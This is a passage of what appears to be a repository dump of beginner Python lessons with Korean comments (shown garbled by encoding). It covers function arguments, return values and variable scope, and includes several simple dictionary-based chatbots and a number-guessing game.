, ๋˜, ๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜\r\n'''\r\nํŒŒ๋ผ๋ฏธํ„ฐ๋„ ์ „๋‹ฌํ•˜๊ณ , ๋ฐ˜ํ™˜๊ฐ’๋„ ์žˆ๋‹ค.\r\n'''\r\ndef sum(a, b):\r\n return a+b\r\n\r\nc = sum(1, 2)\r\nprint(c)\r\n\r\na = 2\r\nb = 4\r\nc = sum(a, b)\r\nprint(c)\r\n\r\n# ๋ฐ˜ํ™˜๊ฐ’์ด ์—†๋Š” ํ•จ์ˆ˜์˜ ๋ฐ˜ํ™˜๊ฐ’์€ ๋ฌด์—‡์ผ๊นŒ?\r\n'''\r\nํ•จ์ˆ˜์˜ ๋์— ๋ช…์‹œ์ ์ธ return ๋ฌธ์žฅ์ด ์—†๊ฑฐ๋‚˜,\r\nreturn ๋ฌธ์žฅ๋งŒ ์žˆ๊ณ , ์‹ค์ œ๋กœ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฐ’์ด ์—†๋Š” ๊ฒฝ์šฐ์—๋Š”\r\n์ž๋™์œผ๋กœ None ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค.\r\n์ฆ‰, ํŒŒ์ด์ฌ์˜ ๋ชจ๋“  ํ•จ์ˆ˜๋Š” ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ๋˜์–ด์žˆ๋‹ค.\r\n'''\r\ndef greet4():\r\n print('Hi')\r\n return\r\n\r\nprint(greet1())\r\nprint(greet4())\r\n\r\n# ์•„๋ž˜์˜ ์ฝ”๋“œ๋ฅผ ๋ณด์ž.\r\n# ์ด ๋ฌธ์žฅ์€ TEST๋ฅผ ์ถœ๋ ฅํ•œ ํ›„, # NONE์„ ์ถœ๋ ฅํ•œ๋‹ค. \r\n# ์ฆ‰, PRINT( ) ํ•จ์ˆ˜๋Š” NONE์ด๋ผ๋Š” ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค๋Š” ์˜๋ฏธ๋‹ค.\r\n# ์ด ๋‚ด์šฉ์€ ํ•จ์ˆ˜ ๋ถ€๋ถ„์—์„œ ์ž์„ธํ•˜๊ฒŒ ๋‹ค์‹œ ์„ค๋ช…ํ•œ๋‹ค.\r\nprint(print('test')\r\n\r\n\r\n# 2๊ฐœ ์ด์ƒ์˜ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๊ณ  ์‹ถ์„ ๋•Œ๋Š”\r\ndef arithmetic_operation(a, b):\r\n return a+b, a-b, a*b, a/b\r\n\r\nc = arithmetic_operation(1, 2)\r\nprint(type(c))\r\nprint(c)\r\n\r\na, b, c, d = arithmetic_operation(1,2)\r\nprint(a, b, c, d)\r\n\r\n\r\n# ์œ„์น˜ ์ธ์ž(positional parameter)์™€ ํ‚ค์›Œ๋“œ ์ธ์ž(keyword parameter)\r\ndef print_message(a, b, c):\r\n print(a, b, c)\r\n\r\nprint_message(1, 2, 3)\r\nprint_message(a=1, b=2, c=3)\r\nprint_message(c=1, b=2, a=3)\r\nprint_message(1, b=2, c=3)\r\n# print_message(1, b=2, 3)\r\n\r\n\r\n# ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๋””ํดํŠธ ๊ฐ’ ์„ค์ •\r\ndef greet4(message='Nice to meet you'):\r\n print(message)\r\n\r\ngreet4('hi')\r\ngreet4()\r\n\r\n# ๋””ํดํŠธ ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’ ์„ค์ • ์‹œ ์ฃผ์˜\r\ndef greet5(name, day, year='2018'):\r\n print('Hi '+name+'. Today is '+ day + '. ' + year)\r\n\r\ngreet5('Ben', 'Monday', '2018')\r\ngreet5('Ben', 'Monday')\r\n\r\n# ์•„๋ž˜์™€ ๊ฐ™์ด ๋””ํดํŠธ ๊ฐ’์„ ์„ค์ •ํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ ์ดํ›„์—๋Š” ๋””ํดํŠธ๊ฐ’์„ ์„ค์ •ํ•˜์ง€ ์•Š๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋‹ค.\r\n'''\r\ndef greet6(name, year='2018', day):\r\n print('Hi '+name+'. Today is '+ day + '. ' + year)\r\n\r\ngreet5('Ben', 'Monday', '2018')\r\ngreet5('Ben', 'Monday')\r\n'''\r\n\r\n# ํ•จ์ˆ˜ ๋‚ด๋ถ€์˜ ์ง€์—ญ ๋ณ€์ˆ˜์˜ ๋ฒ”์œ„\r\na = 10\r\ndef test1(a):\r\n a = a + 1\r\n\r\ntest1(a)\r\nprint(a)\r\n\r\n\r\na = 10\r\ndef test2(a):\r\n a = a + 1\r\n return a\r\n\r\na = test2(a)\r\nprint(a)\r\n\r\n\r\na = 10\r\ndef test3():\r\n global a # ๊ฐ€๊ธ‰์  global ๋ช…๋ น์–ด๋Š” ์‚ฌ์šฉํ•˜์ง€ ๋ง์ž\r\n a = a + 1\r\n\r\ntest3()\r\nprint(a)" }, { "alpha_fraction": 0.6242424249649048, "alphanum_fraction": 0.6272727251052856, "avg_line_length": 20.827587127685547, "blob_id": "7cae45a9eda4af143f733940dff23a75f7fdc17e", "content_id": "c20c0203dbe4f9f451f030ce3758b6cd4d418138", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 750, "license_type": "no_license", "max_line_length": 66, "num_lines": 29, "path": "/3์žฅ-ChatBot-3.py", "repo_name": "someii/chatbot", "src_encoding": "UTF-8", "text": "\"\"\"\r\n๋ณ€์ˆ˜์™€ format ์ŠคํŠธ๋ง์„ ์ด์šฉํ•ด์„œ ์กฐ๊ธˆ ์ œ๋„ˆ๋Ÿดํ•˜๊ฒŒ ๋งŒ๋“ค์–ด๋ณด์ž.\r\n\"\"\"\r\n\r\nname = \"Python\"\r\nweather = \"cloudy\"\r\n\r\n# Define a dictionary with the predefined responses\r\nresponses = {\r\n \"what's your name?\": \"my name is {0}\".format(name),\r\n \"what's today's weather?\": \"the weather is {0}\".format(weather),\r\n \"default\": \"default message\"\r\n}\r\n\r\n\r\ndef respond(user_message):\r\n # dictionary์— ์กด์žฌํ•˜๋Š” ์งˆ๋ฌธ์ธ์ง€ ๊ฒ€์‚ฌ\r\n if user_message in responses:\r\n bot_message = responses[user_message]\r\n else:\r\n bot_message = responses['default']\r\n \r\n return bot_message\r\n\r\n\r\n# ์ด์ œ ๋ฐ˜๋ณต๋ฌธ์„ ์‚ฌ์šฉํ•ด๋ณด์ž\r\nwhile True:\r\n user_message = input('Say Something:')\r\n print(respond(user_message))" }, { "alpha_fraction": 0.6016260385513306, "alphanum_fraction": 0.6016260385513306, "avg_line_length": 20.035715103149414, "blob_id": "d7d3ac5af6f1885e227b4a5881383ef41ec19322", "content_id": "585ce2d96193936e3c82dfb051c3a974da123c20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 719, "license_type": "no_license", "max_line_length": 45, "num_lines": 28, "path": "/3์žฅ-ChatBot-1.py", "repo_name": "someii/chatbot", "src_encoding": "UTF-8", "text": "\"\"\"\r\ndictionary ์ž๋ฃŒํ˜•์„ ์‚ฌ์šฉํ•ด์„œ, \r\nํŠน์ • ์งˆ๋ฌธ์— ์ •ํ•ด์ง„ ๋‹ต๋ณ€์„ ํ•ด๋ณด์ž\r\n\"\"\"\r\n\r\n# dictionary ์ž๋ฃŒํ˜•์„ ์‚ฌ์šฉํ•ด์„œ ์งˆ๋ฌธ๊ณผ ์‘๋‹ต ์„ธํŠธ๋ฅผ ๋งŒ๋“ค์ž.\r\nresponses = {\r\n \"what's your name?\": \"my name is ChatBot\",\r\n \"what's today's weather?\": \"It's sunny.\",\r\n \"default\": \"any other question?\"\r\n}\r\n\r\n\r\ndef respond(user_message):\r\n # dictionary์— ์กด์žฌํ•˜๋Š” ์งˆ๋ฌธ์ธ์ง€ ๊ฒ€์‚ฌ\r\n if user_message in responses:\r\n bot_message = responses[user_message]\r\n else:\r\n bot_message = responses['default']\r\n \r\n return bot_message\r\n\r\n\r\nwhile True:\r\n user_message = input('Say Something:')\r\n if user_message == 'bye':\r\n break\r\n print(respond(user_message))" }, { "alpha_fraction": 0.5698924660682678, "alphanum_fraction": 0.5854241251945496, "avg_line_length": 22.676469802856445, "blob_id": "3d8dfc54a7443bc1f021f0363e5c54fedbdbe350", "content_id": "cff5db1cf112bf7cee9e5dd71270aa45d252998f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 967, "license_type": "no_license", "max_line_length": 82, "num_lines": 34, "path": "/3์žฅ-ChatBot-2-2.py", "repo_name": "someii/chatbot", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Sep 11 11:30:40 2018\r\n\r\n@author: jungkeechul\r\n\"\"\"\r\n\r\n\"\"\"\r\ndictionary ์ž๋ฃŒํ˜•์„ ์‚ฌ์šฉํ•ด์„œ, \r\nํŠน์ • ์งˆ๋ฌธ์— ์ •ํ•ด์ง„ ๋‹ต๋ณ€์„ ํ•ด๋ณด์ž\r\n\"\"\"\r\n\r\n# dictionary ์ž๋ฃŒํ˜•์„ ์‚ฌ์šฉํ•ด์„œ ์งˆ๋ฌธ๊ณผ ์‘๋‹ต ์„ธํŠธ๋ฅผ ๋งŒ๋“ค์ž.\r\nresponses = {\r\n (\"hello\", \"hi\", \"greetings\", \"sup\", \"what's up\",): \"hi~\",\r\n (\"name\", \"name please\", \"your name\", \"what's your name?\"): \"my name is ChatBot\",\r\n (\"weather\", \"hows weather\", \"what's today's weather?\"): \"It's sunny.\"\r\n }\r\n\r\n\r\ndef respond(user_message):\r\n # dictionary์— ์กด์žฌํ•˜๋Š” ๋ชจ๋“  key(tuple)์— ๋Œ€ํ•ด์„œ\r\n for user_messages in responses:\r\n # ํ•ด๋‹นํ•˜๋Š” tuple์— ์งˆ๋ฌธ์ด ํฌํ•จ๋˜๋Š”์ง€\r\n if user_message in user_messages:\r\n return responses[user_messages]\r\n\r\n\r\nwhile True:\r\n user_message = input('Say Something:')\r\n if user_message == 'bye':\r\n print(\"See you soon ~\")\r\n break\r\n print(respond(user_message))" }, { "alpha_fraction": 0.6161616444587708, "alphanum_fraction": 0.6161616444587708, "avg_line_length": 24.157894134521484, "blob_id": "8fcd9ac172aef0d82db792a9b92e88bbcc14cde4", "content_id": "3301c73923b03f42029434317a8569f6e7f7b200", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 543, "license_type": "no_license", "max_line_length": 74, "num_lines": 19, "path": "/3์žฅ-ChatBot-2.py", "repo_name": "someii/chatbot", "src_encoding": "UTF-8", "text": "\"\"\"\r\n์กฐ๊ธˆ ๋” ์‚ฌ์šฉ์ž์˜ ์งˆ๋ฌธ์— ์œ ์—ฐํ•˜๊ฒŒ ๋Œ€์ฒ˜ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ด๋ณด์ž.\r\n\"\"\"\r\n\r\ngreeting_words = (\"hello\", \"hi\", \"greetings\", \"sup\", \"what's up\",)\r\ngreeting_responses = [\"'sup bro\", \"hey\", \"*nods*\", \"hey you get my snap?\"]\r\n\r\nimport random\r\n\r\n\r\ndef check_for_greeting(user_message):\r\n for word in user_message.split(' '):\r\n if word.lower() in greeting_words:\r\n return random.choice(greeting_responses)\r\n\r\n\r\nwhile True:\r\n user_message = input('Say Something:')\r\n print(check_for_greeting(user_message))" }, { "alpha_fraction": 0.4656616449356079, "alphanum_fraction": 0.4773869216442108, "avg_line_length": 20.037036895751953, "blob_id": "6b672eb5fb4e58adb7c7f29b07c59ae1b42f1a23", "content_id": "3c37034ab0d4396b3e844983f1ff6dea7f893f62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 621, "license_type": "no_license", "max_line_length": 59, "num_lines": 27, "path": "/3์žฅ-Echobot_guess_what.py", "repo_name": "someii/chatbot", "src_encoding": "UTF-8", "text": "\r\n\"\"\"\r\n์Šค๋ฌด ๊ณ ๊ฐœ ๊ฒŒ์ž„์„ ๋งŒ๋“ค์–ด๋ณด์ž.\r\n\"\"\"\r\ndef is_correct(guess, target):\r\n if guess == target:\r\n print(\"Your guess {0} is Correct!\\n\".format(guess))\r\n return True\r\n elif guess < target:\r\n print(\"Higher~\")\r\n return False\r\n elif guess > target:\r\n print(\"Lower~\") \r\n return False\r\n\r\ntarget = 77\r\n\r\ndef guess():\r\n while True:\r\n guess = input('Guess What between 1 to 100: ')\r\n if guess == '':\r\n break\r\n else:\r\n if is_correct(int(guess), target):\r\n break\r\n\r\nif __name__ == \"__main__\":\r\n guess()\r\n" }, { "alpha_fraction": 0.5460218191146851, "alphanum_fraction": 0.5460218191146851, "avg_line_length": 23.239999771118164, "blob_id": "3d284bf363736b5aba7718ce90c2ab9acd401c84", "content_id": "03fc7f9198e8f2e3b80f0668a25b08b5653212c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 741, "license_type": "no_license", "max_line_length": 58, "num_lines": 25, "path": "/3์žฅ-EchoBot-3.py", "repo_name": "someii/chatbot", "src_encoding": "UTF-8", "text": "\"\"\"\r\n์ด์ œ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด๋ณด์ž. \r\n์ฑ—๋ด‡์˜ ์‘๋‹ต์„ ์ƒ์„ฑํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ๋งŒ๋“ค๊ฒƒ์ด๋‹ค.\r\n\"\"\"\r\n\r\n# ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด๋ณด์ž. ์•„๋ž˜๋Š” respond( )๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ์ •์˜ํ•˜๊ณ  ์žˆ๋‹ค.\r\ndef respond(user_message):\r\n if user_message == 'bye' or user_message == 'see you':\r\n return('bye')\r\n elif user_message == 'hi':\r\n return('hi')\r\n elif user_message == 'good to see you':\r\n return('nice to meet you')\r\n else:\r\n return(\"i don't get it\")\r\n\r\n\r\nwhile True:\r\n user_message = input('Say Something...')\r\n if user_message == '':\r\n break\r\n else:\r\n user_message = user_message.lower()\r\n chatbot_message = respond(user_message)\r\n print(chatbot_message)\r\n \r\n " } ]
9